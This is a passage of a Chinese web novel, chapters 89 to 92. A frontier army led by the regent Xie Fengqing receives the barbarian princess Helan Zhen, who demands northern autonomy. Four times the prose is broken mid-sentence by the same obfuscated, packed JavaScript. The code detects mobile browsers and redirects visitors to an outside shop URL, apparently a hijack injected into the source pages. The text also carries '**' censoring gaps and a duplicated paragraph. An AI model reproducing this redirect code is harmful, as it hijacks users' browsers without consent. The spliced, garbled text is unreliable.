连绵的北疆大营如同蛰伏在雪原上的钢铁巨兽,此刻也仿佛从冬眠中苏醒。营帐顶上积着厚厚的白雪,给冰冷的军事设施戴上了一顶顶柔软的白色帽子。屋檐下挂满了长长的冰凌,像一串串水晶帘子,在阳光的照耀下,闪烁着耀眼的光芒。旌旗在清冷的晨风中猎猎招展,那布帛撕裂般的声音在纯净的空气里传得格外遥远,肃杀之中透着一丝不易察觉的期待。 全副武装的将士们早已在营门外宽阔的雪地上整齐列队,他们如同从雪地中生长出来的钢铁森林,井然有序地站立在凛冽的寒风中。盔甲鲜明,刀枪如林,呵出的白气在寒冷的空气中凝成一片淡淡的薄雾,笼罩在整个队列上方,仿佛每个士兵的头顶都飘着一小片云。 这些来自天南地北的汉子,脸庞被北疆的风沙雕刻得棱角分明,此刻却统一被冻得微微发红。他们的眉睫上结了一层细白的霜花,眼神却坚定如磐石,齐刷刷地望向官道的尽头,等待着那位传闻中极具传奇色彩的蛮族王女——赫兰真。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648815|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在最前排的是手持长戟的重甲步兵,他们的盔甲上还残留着昨夜风雪的痕迹——雪花在冰冷的铁甲上凝结成细密的冰晶,当阳光以特定角度照射时,这些冰晶便折射出七彩的光芒,为这些战争机器增添了几分诡异的美感。中间是弓**手,他们身背劲弓,腰挎箭囊,手指不自觉地在弓臂上轻轻敲击,暴露出平静外表下的内心波澜。两侧则是骑兵,战马不时踏动前蹄,马蹄踏在松软的雪地上,发出沉闷的“噗噗”声,马鼻中喷出的白气更加浓重,与士兵们的呼吸交织在一起。 尽管外表保持着一贯的军纪严明,空气中却弥漫着一种混合了好奇、警惕以及淡淡敌意的复杂情绪。这些久经沙场的将士们,心中涌动着各自不同的思绪。 一些年轻士兵的眼中闪烁着难以掩饰的好奇与期待。他们听过太多关于这位蛮族王女的传说——她如何以女子之身统一了散落草原的七大部落,如何在狼山之战中以少胜多击溃了老单于的主力,又如何在部落联盟会议上迫使那些骄傲的酋长们低头。在这些年轻人心中,赫兰真几乎不是一个真实存在的人,而是一个从史诗中走出来的传奇人物。他们既渴望一睹其风采,又暗自担心这位异族首领是否真的如传闻中那般三头六臂。 而那些经历过与蛮族多次交战的老兵,则面带凝重,眼神中满是警惕与不信任。他们紧握武器的手指关节因用力而发白,记忆被拉回到那些血腥的战斗场面——草原上呼啸而来的骑兵,漫天的箭雨,还有战友倒下时不甘的眼神。尽管双方即将签订和约,但这些深植于内心的创伤记忆,不是一纸文书就能轻易抹去的。他们的嘴角紧绷,眉头深锁,对这次会面充满疑虑。 更有些中层将领,心中盘算的则是更为复杂的**考量。他们清楚,这次会面不仅关乎两个民族的和解,更将重新划定北疆未来数十年的势力格局。这些将领的目光不时瞟向中军大帐的方向,揣测着主帅的真实意图,同时也权衡着这一历史性事件对自己前程的可能影响。 雪后的世界纯净得如同初生婴儿的眼神,没有任何杂质。树枝上挂满了晶莹剔透的冰挂,宛如一件件精美的艺术品。偶尔有风吹过,树上的积雪便簌簌落下,如同又一次微型的降雪。不远处的松树林也是雪白一片,只有从间隙中才能窥见那抹仅存的绿色——这些四季常青的松针在这孤寂的冬日里顽强地展示着生命的迹象。 在这片被冰雪覆盖的广袤原野上,每一个声响都变得格外清晰:士兵们调整站姿时盔甲金属片相互摩擦的铿锵声,战马不耐的响鼻声,旌旗在风中飘扬的猎猎声,甚至还有远处村庄隐约传来的犬吠声。这些声音不但没有破坏整体的宁静,反而以一种奇异的方式强化了这片天地的肃穆氛围。 阳光渐渐升高,温度却似乎不升反降。这是雪后特有的现象——明媚的阳光欺骗着眼睛,让人误以为温暖,实则积雪融化时吸收了大量热量,使得空气更加清冷彻骨。士兵们虽然穿着厚厚的战靴,但寒意仍无情地从脚底向上蔓延,不少人开始不自觉地轻轻跺脚,活动几近冻僵的脚趾。 第89章“北疆女神” 空气中的冰冷仿佛有了质感,如同一把把细小的冰刃,随着呼吸刺入鼻腔,直达肺腑。每一次吸气都像是一次小小的考验,那股清冷沿着气管向下,在胸膛中短暂停留,然后再化作一团白雾被呼出。这冰冷的空气带着雪花的味道,纯净而凛冽,让人精神为之一振,却也使等待的时光显得更加漫长。 整个世界仿佛被按下了放慢键,每一秒都被拉得细长。在这种近乎仪式化的等待中,时间似乎失去了日常的流速,变得粘稠而沉重。士兵们能够清晰地听到自己心跳的声音——那是一种缓慢而有力的搏动,与平时战场上急促的心跳截然不同。 突然,一阵清脆的鸟鸣声从远处的白桦林中传来,打破了这漫长的静默。一群不知名的鸟儿扑棱着翅膀从雪地上飞起,振落的雪花在阳光下闪闪发光,如同撒向空中的水晶粉末。这一意外的插曲让不少士兵条件反射般地绷紧了身体,随即又为自己的紧张感到些许尴尬。 站在队列最前方的指挥官——北疆大都护姜凛,始终如一尊雕塑般岿然不动。他那饱经风霜的脸上没有任何表情,唯有那双深邃的眼睛偶尔闪过一丝波动,暴露了他内心的活动。与士兵们不同,他思考的不仅是即将到来的赫兰真本人,更是这次会面可能引发的连锁反应。作为北疆的最高军事长官,他比任何人都清楚,这一刻的平静之下,潜藏着多少暗流汹涌的**博弈。 随着太阳完全跃出地平线,整个雪原仿佛被点燃了一般,迸发出更加耀眼的光芒。在这片金色的世界里,官道的尽头依然空无一人,但那种无形的压力却越来越重,仿佛暴风雨前的低气压,沉甸甸地压在每个人的心头。 等待,成了这个早晨最严峻的考验。不仅是对身体的考验,更是对意志的磨砺。每一位将士都必须在这场无声的较量中,面对自己内心的波澜,整理好自己的情绪,以最合适的姿态迎接那位即将到来、可能改变北疆命运的女人——赫兰真。 此时此刻,北疆大营外的这片雪地,已不再仅仅是地理意义上的空间,而成为一个历史性的舞台。每一位站立其中的将士,都是这一重要时刻的见证者与参与者,他们的集体沉默构成了一种庄重的仪式感,与他们内心澎湃的思绪形成了鲜明对比,共同编织成一幅极具张力的历史画面。 谢凤卿独自立于营门内侧临时搭建的木质高台之上,身形挺拔如松。这高台由北地特有的铁杉木搭建而成,高出地面近三丈,足以俯瞰整个军营前的大片雪原。她今日依旧是一身玄色绣金凤战袍,外罩同色大氅,领口簇拥着罕见的玄狐风毛,衬得她面容愈发清冷如玉。 晨光熹微,为她轮廓镀上一层淡金色的光晕。寒风拂过,卷起她墨色的发丝和袍角,猎猎作响,她却稳如磐石,唯有眼眸中流转着难以捉摸的思绪。她深邃的目光沉静如水,越过层层叠叠的营帐和肃立的士兵,投向远方那被朝阳勾勒出金色轮廓的地平线,仿佛能穿透空间,提前看清那位即将到来的不速之客。 远处,天地相接之处,雪原与苍穹融为一体,形成一道耀眼的白线。谢凤卿的右手无意识地抚过腰间佩剑的剑柄,那是一只常年握剑的手,指节分明,看似纤细却蕴含着惊人的力量。她站立的位置恰到好处,既能被台下将士所见,又保持着一军统帅应有的距离感。 沉稳的脚步声自身后响起,不疾不徐,每一步都踏得坚实有力。萧御踏着木阶走上高台,与她并肩而立。他今日罕见地换下了一贯的墨色常服,穿上了一身量身打造的亮银明光铠,甲叶在晨曦下流转着清冷而耀眼的光辉。铠甲做工精湛,胸前的护心镜光可鉴人,肩甲上雕刻着精致的云纹,每一片甲叶都经过精心打磨,在晨光下闪烁着如水波般流动的光芒。 这身装束将他本就俊朗的容颜映衬得更加英挺不凡,少了几分往日的温润,多了几分属于军人的凛冽锐气。萧御的目光先是落在谢凤卿的侧脸上,停留片刻,随后转向她所注视的远方,眼神复杂难辨。 “听说这位蛮族王女不仅容貌绝世,更有一手超凡脱俗的箭术,能在百步之外射落苍鹰之目,被草原各部尊为‘北疆女神’。”萧御的声音低沉,带着一丝不易察觉的审慎。他说话时,口中呼出的白气在寒冷空气中迅速消散,语气平静却暗藏波澜。 赫兰真的箭术已成为北疆地区的一个传奇。据传她三岁便能执弓,七岁已可射落空中飞鸟,十二岁时在部族比武中击败了所有成年射手。草原上流传着无数关于她箭术的神奇故事,其中最令人惊叹的便是她能够在百步之外射中苍鹰的眼睛。 这不是普通的射术,而是近乎神技的展现。苍鹰是北疆地区飞得最高最快的猛禽之一,眼睛更是小如豆粒。要在百步之外瞄准如此微小的目标,需要超凡的眼力、稳定性和预判能力。部落老人常说这是“天神赐予的礼物”,而战士们则私下议论,说她能够“看见风的方向”,箭矢能够随风而行,改变轨迹击中目标。 更为神奇的是,据说赫兰真曾在部族冲突中,一箭射穿了三名敌方战士的咽喉,箭矢力道不减,最终钉在后方大帐的支柱上。这一箭不仅改变了战局,也为她赢得了“穿云箭”的称号。游牧诗人将这一事迹编成歌谣,在草原上广为传唱,使得即使从未见过她的人,也对其箭术心生敬畏。 萧御作为北疆守将,自然对这些传说有所耳闻。他曾在边境巡逻时,见过被赫兰真一箭毙命的野狼,箭矢精准地穿过眼睛直入大脑,猎物几乎瞬间死亡,没有多余痛苦。这种精准和高效,既令人恐惧又不禁令人敬佩。对于一个战士而言,这种技艺已超越了一般的技术层面,近乎一种艺术。 根据边境商队和探子的描述,赫兰真具有一种与中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648816|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原女子截然不同的野性美。她通常仅穿着一件单薄的“蛮族”兽皮短衫,略显苍白的脸颊上左右两边各涂有2道青白二色的油彩。 她的身材异常高挑,接近许多男子,身着一件棕色护胸皮甲,裸露的细腰呈现出力量与美感结合的肌肉线条,仿佛一只愤怒咆哮的健美母豹子。与中原精心打扮的女子不同,她颈部和耳垂带着兽牙窜成的饰品,齐肩短发也未搭理的散落脑后,却自然流露出一股野性魅力。 她有着黑发黑瞳,瓜子脸,皮肤虽有些黝黑,但五官精致,容貌甚美。和大多数蛮族女孩一样,她身体线条匀称有力,浑身散发着一种充满活力的、野性美。她那双灵动的美眸在周身冰墙的映照下,虽显得格外的明亮清澈,可眼神却是冷漠至极,反而令其多了一股不食人间烟火的冰冷气质。 赫兰真的头上常戴着牛角制成的“蛮族”头饰,更多了几分野性难驯的异域风情。她那略带野性的绝美风姿,可谓自有一股中原女子无法比拟的独特风韵。无论在何时何地何种情况之下,她身上总会流露出一种塞外女子独有的野性之美。这种刻在骨子里的魅力,足以让任何一个瞧过她一眼的男子一辈子都无法忘记。 “北疆女神”这一称号并非赫兰真自封,而是草原各部对她的尊称。这一称号的背后,既有对她绝世容貌的赞叹,也有对她领导才能和战斗技艺的敬佩。 在草原文化中,女神不仅是美丽的象征,更是保护者和引领者。赫兰真能够在男性主导的游牧社会中脱颖而出,统一分散的部落,必然有着超凡的个人魅力和**智慧。据说她不仅精通武艺,还熟知草原的历史传说和部落间的恩怨情仇,能够以理服人,以情动人,将原本互相征伐的部落团结在一起。 这一称号的传播也带有一定的**智慧。在信息传递不便的北疆地区,一个传奇性的称号能够快速建立权威,减少统一过程中的阻力。草原民族崇尚强者,一个兼具美貌与武力的女性领袖,自然容易成为传说般的角色,吸引更多部落的归附。 对北疆守军而言,这样一个传奇人物的到来,既是一次外交挑战,也是一次了解对手的机会。赫兰真能够被草原各部尊为女神,必然有其过人之处,而这背后的原因,正是萧御和谢凤卿需要深入了解的。 萧御选择今日穿上亮银明光铠,绝非随意之举。这身铠甲不仅是身份的象征,更是一种无声的外交语言。明光铠由数百片精心打造的钢片组成,重达三十余斤,但穿在训练有素的萧御身上却显得举重若轻。 铠甲在晨光下闪烁的光芒并非只是为了展**严,更是一种军事力量的暗示。每一片甲叶都经过千锤百炼,能够抵御大多数弓箭和刀剑的劈砍,是北疆军中高级将领的标志性装备。萧御选择这身装束见面,既表示对赫兰真的重视,也暗含警惕与防备。 第90章蛮族王女,赫兰真 与谢凤卿的玄色战袍相比,亮银明光铠更显耀眼,这在视觉上形成了一种微妙的分工。谢凤卿保持着她一贯的深沉莫测,而萧御则展现出更为直接的力量展示。这种差异并非偶然,而是两人默契的配合,以不同的姿态面对这位不速之客。 萧御的手不经意地擦过铠甲的边缘,感受着金属的冰冷与坚硬。这身铠甲他曾多次穿着上阵,上面虽无可见的伤痕,却已浸透了战场的记忆。今日,它不再只是防护装备,而是一种身份和立场的宣示。 谢凤卿与萧御的并肩而立,本身就是一种精心设计的姿态。作为北疆军的核心人物,他们的位置、装束甚至神态,都在向即将到来的赫兰真传递着特定信息。 谢凤卿与萧御的并肩而立,本身就是一种精心设计的姿态。这高台由北地特有的铁杉木临时搭建,高出地面近三丈,经过工匠精心打磨,连栏杆上的纹路都清晰可见。作为北疆军的核心人物,他们的位置、装束甚至神态,都在向即将到来的赫兰真传递着特定信息。 高台的位置选择经过精心考量——既不在军营最深处显得过于戒备,又不至于太过靠前显得轻率。这个距离恰到好处,既展示北疆军的纪律与威严,又不会给人生硬拒绝之感。高台位于军营大门内侧约百步之遥,这个距离足以让赫兰真及其随从在进入军营后,有足够的时间调整心态,同时也确保北疆军有充足的反应时间应对突发状况。 高台四周插着十二面绣金凤的玄色旗帜,象征着谢凤卿在军中的权威。每面旗帜在晨风中以同一节奏猎猎作响,展现出北疆军严明的纪律性。台前两列精锐士兵如同雕塑般肃立,他们手中的长戟在朝阳下闪烁着寒光,形成一道无形的压力墙。 谢凤卿独自先立于台上,而后萧御才加入,这种安排暗含深意。谢凤卿作为北疆军最高统帅,率先现身展示主导地位;萧御随后登台,则表明其作为副手的定位。这种层次分明的出场顺序,向赫兰真传递着北疆军指挥体系的严谨与效率。 谢凤卿今日身着的玄色绣金凤战袍,并非寻常礼服,而是经过特殊设计的戎装。金凤的绣纹在阳光下若隐若现,既彰显女性统帅的独特身份,又不失军人的威严。外罩的同色大氅领口簇拥着罕见的玄狐风毛,每一根毛发都经过精心打理,在微风中轻轻颤动,为她平添几分华贵之气。 萧御的亮银明光铠更是经过特别打磨,甲叶在晨曦下流转着清冷而耀眼的光辉。这身铠甲不仅防护性能卓越,更是一种身份的宣示。他站立时右手始终轻按剑柄,这个看似随意的姿势,实则经过反复演练,既能随时应对突发情况,又不会显得过于紧张。 两人并肩而立,却保持着恰到好处的距离——既显得亲近,又不失分寸。谢凤卿的身形挺拔如松,而萧御则稍微侧身,形成一种微妙的守护姿态。这种站姿无声地宣告着他们的关系:既是上下级,又是默契的战友。 远处的地平线依然平静,但整个军营却弥漫着一种无形的张力。士兵们虽然保持肃立,但眼神中的好奇与警惕却难以完全掩饰。对于普通士兵而言,蛮族王女更多是传说中的人物,如今即将亲眼目睹,难免心有波澜。 前排的重甲步兵不时调整着持戟的角度,金属甲叶摩擦发出的细微声响,在寂静的清晨格外清晰。中间的**手们则下意识地检查着箭囊的位置,这个几乎本能的动作暴露出他们内心的紧张。两侧的骑兵座下的战马似乎也感受到不寻常的气氛,不时踏动前蹄,喷出团团白气。 军营中的旌旗在以特定的节奏飘扬,仔细观察可以发现,旗手们正根据风向不断调整旗杆的角度,使所有旗帜保持一致的飘动方向。这种极致的细节控制,正是北疆军纪律严明的体现,也是向赫兰真展示军队素质的无声方式。 炊烟从营区后方袅袅升起,在晨光中形成一道淡淡的烟幕。细心观察可以发现,烟柱的密度和高度都经过控制,既不影响视野,又能展示军营正常运作的状态。这种似松实紧的准备,体现着北疆军外松内紧的备战状态。 谢凤卿的目光始终未离远方,她的耐心如同她的剑术一样出名。在这个关键时刻,她展现出了一军统帅应有的沉着与冷静。不仅等待着一个人的到来,更是一场可能改变北疆格局的会面。 她的右手手指在剑柄上无意识地轻轻敲击,这是她思考时不易察觉的小动作。每一次敲击的间隔几乎完全相同,显示出她内心的镇定。与之相对比,她左侧佩剑的流苏却纹丝不动,反映出她身体的核心始终保持着绝对的稳定。 萧御的目光则不时扫过全场,从军营大门到士兵队列,再到远方的地平线。他的观察有着特定的节奏:先是快速扫视全场大局,继而聚焦几个关键点位,最后回到谢凤卿身侧。这种巡视方式既展现警戒意识,又表明他以谢凤卿为核心的立场。 高台上的风向标缓缓转动,预示着北疆常见的风向变化。谢凤卿的发丝随风轻扬,但她丝毫不为所动。相反,她借助这个时机微微侧首,对萧御低语几句。这个看似随意的动作,既展示了他们的默契,也向可能观察着高台的人传递着从容不迫的信号。 朝阳已经完全升上天空,将整个雪原染成金色。在这片璀璨之中,官道的尽头依然空无一物,但这种空无本身就在言说着什么。等待的艺术在于把握时间的张力,将每一刻的延迟都转化为心理博弈的筹码。 谢凤卿的沉着建立在对自己军队绝对自信的基础上。她深知,此刻的北疆大营如同张开的弓弦,既保持着最大张力,又随时可以释放出雷霆万钧之力。而她与萧御并肩而立的高台,就是这把弓的瞄准点,聚焦着所有的能量与期待。 当一缕尘土终于在官道尽头扬起时,谢凤卿的嘴角几不可察地动了一下。这个细微的表情转瞬即逝,却被始终关注着她的萧御准确捕捉。两人交换了一个眼神,所有准备都已就绪,这场精心准备的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655435|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多方会谈,终于要拉开序幕。 萧御的声音再次响起,打破了长时间的沉默:“据探子来报,她的队伍应该就在十里外了。”他顿了顿,继续说道:“随行不过百人,倒是颇为克制。” 谢凤卿微微颔首,并不答话。她知道,真正的较量,从这一刻已经开始了。而那位被尊为“北疆女神”的蛮族王女,即将揭开她神秘的面纱。 谢凤卿微微颔首,视线未曾移动,声音平静无波:“赫兰真,蛮族王庭最年幼,却也最受老狼王宠爱的王女。天生神力,聪慧过人,尤其精于骑射,十六岁便以一手‘流星逐月’的神箭绝技名震整个北疆草原,在崇尚强者的蛮族中声望极高。”她顿了顿,语气带上了一丝分析性的冷冽,“此次蛮族内部因老狼王病重而陷入权力纷争,几个王子斗得你死我活,她作为王女,处境微妙。选择在这个时机向我们投诚,无论真心与否,对我们而言,都是一个深入了解蛮族内部、甚至分化瓦解其势力的绝佳机会。” “但机会往往与风险并存。”萧御的目光锐利如鹰,仿佛能洞察人心深处潜藏的欲望,“她就像一匹未被驯服的烈马,血液里流淌着草原的野性和自由。我研究过她的过往,此女性情刚烈,骄傲入骨,绝非甘于屈居人下之辈。她此次前来,所图必定不小。” 谢凤卿终于侧过头,看了萧御一眼,唇角掠过一丝极淡的、近乎虚无的弧度:“无妨。再烈的马,也需要懂得驾驭的骑手。本王,正好缺一匹能驰骋北疆的坐骑。” 正说话间,远方官道的尽头,传来一阵清脆而富有节奏的马蹄声,踏碎了雪原的宁静。那马蹄声初时细微,旋即变得清晰而密集,如同战鼓擂响,带着一股不容忽视的彪悍气势。 所有人的精神都为之一振,目光更加专注地投向声音来源。 只见视线尽头,一匹神骏异常、通体雪白无一丝杂**的骏马,如同离弦之箭般踏雪而来!马匹的体型远比中原常见的战马要高大雄健,奔跑时肌肉贲张,充满了**性的力量感,长长的马鬃在风中飞扬,姿态优美而狂野。马背上,一道火红的身影如同雪原上燃烧的烈焰,牢牢地嵌在马鞍之上。 来人正是蛮族王女,赫兰真。 她身着一袭裁剪利落、缀满银色狼牙与各色宝石的红色骑装,外罩一件同样鲜艳的红色狐裘披风,在漫天雪白的背景下,显得格外夺目,如同一朵盛放在冰天雪地中的曼珠沙华,美丽而危险。她的肌肤是健康的蜜合色,五官深邃立体,鼻梁高挺,一双眼睛大而明亮,眼尾微微上挑,瞳孔是罕见的琥珀色,此刻在阳光下,闪烁着野性难驯、桀骜不驯的光芒。她的背上,斜挎着一张造型古朴、通体呈现暗银色的长弓,弓身雕刻着繁复的狼头图腾,充满了蛮族特有的粗犷与神秘气息。她并未佩戴过多的首饰,只在额间束着一根镶嵌着硕大血红宝石的银质额环,映衬得她整个人如同草原上的精灵,又似统御冰雪的女王。 第91章我知你深浅,而你未必识我乾坤 “好一个‘北疆女神’。”谢凤卿望着那团越来越近的红色火焰,轻声赞叹,语气中听不出喜怒,只有纯粹的欣赏,“单是这份睥睨天下的气势,便不负盛名。” 赫兰真的到来如同一道撕裂天穹的闪电。白马踏雪如飞,蹄声并非杂乱无章,而是蕴藏着草原战鼓的节奏,每一步都砸在将士们紧绷的心弦上。直至营门前十丈,她猛地勒紧缰绳,马匹人立而起,长嘶声穿透云霄,前蹄踏落的瞬间,溅起的雪雾在朝阳下泛起金芒,仿佛为她披上一袭流光溢彩的战衣。 她身披银白狐裘,裘**间缀以狼牙与陨铁片,随着马背起伏叮咚作响,宛若草原巫祝的祷言。琥珀色的眼眸如鹰隼般锐利,扫过列队将士时,目光所及之处,士兵们竟不由自主地屏息——那眼中并无蛮族常见的粗野,反而凝着一种近乎神性的威仪,与雪原尽头蛰伏的危机感。 赫兰真的目光如无形箭矢,掠过黑压压的枪戟丛林,无视那些隐含敌意的审视,径直撞向高台之上的谢凤卿。这一刻,时空仿佛凝固:玄色绣金凤战袍在晨光中黯如深渊,而赫兰真的银白裘袍则皎若明月,二人色彩的对撞隐喻着草原与中原文明的力量角力。 她的审视并非单纯挑衅,更似一种秘术般的洞察。谢凤卿感知到那目光中裹挟的草原风雪气息,甚至能嗅到一丝若有若无的血腥味——那是属于真正战士的烙印。然而谢凤卿并未移开视线,反而迎上前去,唇角噙着一缕淡笑,似在说:“我知你深浅,而你未必识我乾坤。” “你,就是那位名震天下,让北狄闻风丧胆,如今又执掌大燕权柄的摄政王——谢凤卿?”赫兰真的声音清越如玉石相击,却在每个字眼里埋着锋芒。她故意将“摄政王”三字咬得极重,仿佛在嘲讽中原政权更迭的隐痛。更微妙的是,她不用敬称“王爷”,而以“你”直呼,既是草原的直率,亦是对等级秩序的漠视。 此言一出,四周将士顿时哗然。一名偏将按剑欲前,却被萧御以眼神制止。空气绷紧如满弓,雪地上甚至传来弓弦被悄然拉动的细微摩擦声。然而谢凤卿只是略一抬手,指尖在袖中轻叩三下——这是军中暗号,意为“按兵不动”。她随即开口,声线平稳如深潭:“正是本王。王女远道而来,一路辛苦。” 短短十字,却暗藏机锋:以“本王”自称重申权威,以“远道而来”暗示客军身份,又以“辛苦”二字轻描淡写化去敌意,仿佛对方只是风尘仆仆的使臣而非威胁。 这场对峙的张力不仅存于二人之间,更弥漫在整个雪原战场。营门两侧的旌旗忽被狂风卷动,猎猎声响似战魂低啸;远处山峦的积雪簌簌滑落,仿佛连天地都在为这场交锋震颤。列队士兵的呼吸凝成白雾,在他们头顶交织成一片诡异的薄纱,雾中折射出刀枪的寒光,恍若亡灵军团在无声列阵。 赫兰真身后,百名蛮族骑兵悄然展开楔形阵势,虽未拔刀,但马匹错蹄的节奏暗合战舞步点。而北疆军阵中,**手的手指已扣上悬刀(**机**),箭簇微微抬高三寸——这个角度恰好能绕过赫兰真射穿其后卫的咽喉。 谢凤卿注意到赫兰真马鞍侧悬挂的雕花箭囊——囊口露出三支箭:一支箭羽染朱,象征血战;一支缀银铃,代表宣礼;一支缠素绸,寓意和谈。这三箭的排列顺序暗示了赫兰真此次的底线:先示武力,再定规则,最后言和。 而赫兰真同样捕捉到谢凤卿袍角的一道裂痕:金凤尾羽处丝线断裂,似被利刃所伤,却以玄线粗略缝合。这细微破损暴露了谢凤卿近日曾亲临险境,但刻意不加掩饰的修补方式,又仿佛在宣告:“我无需完美无瑕,因实力本身即是勋章。” 当谢凤卿那句“一路辛苦”的余音散入风雪,赫兰真忽然笑了。她翻身下马,靴底踏碎一片薄冰,大步走向高台:“摄政王好气度!不过——”她顿了顿,指尖轻抚马鞭,“草原人谈交易,习惯先亮筹码。不如我们换个地方,看看彼此的筹码是否够分量?” 此言既出,萧御悄然握紧剑柄,谢凤卿却颔首示意:“准。” 一字落定,雪原上紧绷的弦稍松,而真正的博弈,此刻才刚揭开序幕 辰时三刻,大营主帐,暗流涌动。 主帐之内,炭火盆烧得极旺,驱散了从门缝钻入的寒意,也让帐内的温度与外面恍若两个世界。赫兰真已经卸下了她那标志性的银弓,交由身后的蛮族护卫捧着,自己则毫不客气地坐在了客位首座。她目光锐利地扫过帐内简洁而充满肃杀之气的陈设——巨大的边境沙盘、悬挂的**、以及兵器架上寒光闪闪的刀剑,最后,她的目光再次定格在主位之上,那个自进来后便一直气定神闲、仿佛一切尽在掌握的玄色身影上。 帐内除了谢凤卿和萧御,还有凌雪、霍三娘等几名核心将领作陪,个个面色肃然,无形中形成了一种压迫感。 赫兰真站在北疆大营的中军大帐中央,脊背挺直如标枪。帐内火把的光影在她轮廓分明的脸庞上跳跃,映得那双琥珀色的眼眸更加锐利如鹰。她身后两侧站着六名狼骑亲卫,虽已按规解下兵刃,但那一身沙场磨砺出的杀气依旧弥漫在空气中。 “我赫兰真生在草原,长在马背,向来不喜欢你们中原人那些弯弯绕绕的说话方式。”赫兰真的声音清脆有力,如同玉珠落盘,却又带着草原儿女特有的直率与野性,在偌大的军帐中回荡。她开门见山,没有任何寒暄客套,目光直视端坐主位的谢凤卿。 “我带着我麾下最忠诚的三千狼骑和他们的家眷,离开内斗不休的王庭,前来投诚,是带着诚意。”赫兰真微微前倾身体,语气斩钉截铁,不容置疑,“但也有一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657962|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必须的条件——北疆,必须自治!” “北疆,必须自治!”这七个字如同惊雷,在肃静的军帐中炸开。 帐内瞬间一片死寂,落针可闻。空气仿佛凝固了,只有火把燃烧时偶尔发出的噼啪声,以及帐外寒风吹过旗杆的呜咽声。几位将领脸上顿时涌起怒色,看向赫兰真的目光变得极为不善。一位满脸虬髯的老将右手已不自觉地按上了剑柄,手背青筋暴起。 萧御坐在谢凤卿下首,眼神也骤然冷了下来,如同覆上了一层寒霜。他手指无意识地在座椅扶手上轻轻敲击着,节奏平稳,但熟悉他的人都能看出那平静外表下正在积聚的风暴。他的目光掠过赫兰真,又扫过她身后的狼骑卫士,最后落回谢凤卿身上,带着询问与警惕。 赫兰真对这一切视若无睹,继续道:“我既然敢来,就做好了承担一切的准备。草原上的雄鹰从不躲在别人羽翼下求活,我们要的是平等的合作,而非俯首称臣。” 她向前迈出一步,靴底踏在毡毯上发出沉闷的声响。“我知道这个条件在你们听来何等狂妄。但请想一想,若非走投无路,我赫兰真何必离开生我养我的草原,来到这汉家军营?” “王庭内斗不休,老酋长病重,各部族为争**位已杀红了眼。”赫兰真的声音里带着一丝难以掩饰的疲惫与愤怒,“我不愿看着我麾下的勇士和他们家眷成为权力斗争的牺牲品,更不愿草原儿女的鲜血白白流淌。” 帐中一位文官模样的中年男子清了清嗓子,试图打破僵局:“王女殿下,您带部众来投,朝廷自然欢迎。只是这自治一事...实在非同小可,关乎国体,岂能草率决定?” 赫兰真猛地转头看向说话者,琥珀色的眸子里闪过一丝讥诮:“这位大人,我赫兰真今年刚过碧玉年华,或许在您看来年轻识浅。但我在马背上长大,在刀光剑影中求生,比任何人都清楚生存的意义。北疆自治,不是**,而是共治。我们狼骑愿与北疆军共同戍守边疆,但要保留我们的习俗,我们的生活方式。” 萧御终于开口,声音冷峻如北疆的寒风:“王女殿下,您可知道‘自治’二字意味着什么?意味着律法不同,赋税不一,军令难行。这意味着在北疆之地,国中有国,这是任何君王都无法容忍的。” 赫兰真迎上萧御冰冷的目光,毫无惧色:“萧将军,草原与中原风俗本就不同。你们耕田织布,我们放牧狩猎;你们诵读诗书,我们传唱史诗。强行将草原纳入中原体制,如同将野马关进狭小马厩,终会两败俱伤。” “更何况,”赫兰真语气转为深沉,“我并非不知中原朝廷的顾虑。但请你们也想想,若是北疆能够成为草原与中原之间的缓冲地带,保留草原部落的自治权,由我赫兰真担保边境和平,岂不是比连年征战更加有利?” 第92章王女何必如此着急 谢凤卿直到此刻才微微抬眼,目光平静地落在赫兰真身上,声音不高却清晰传入每个人耳中:“王女殿下,您提出的条件确实出乎本王意料。但既然您开门见山,本王也直言不讳——朝廷绝不会轻易允诺北疆自治。” 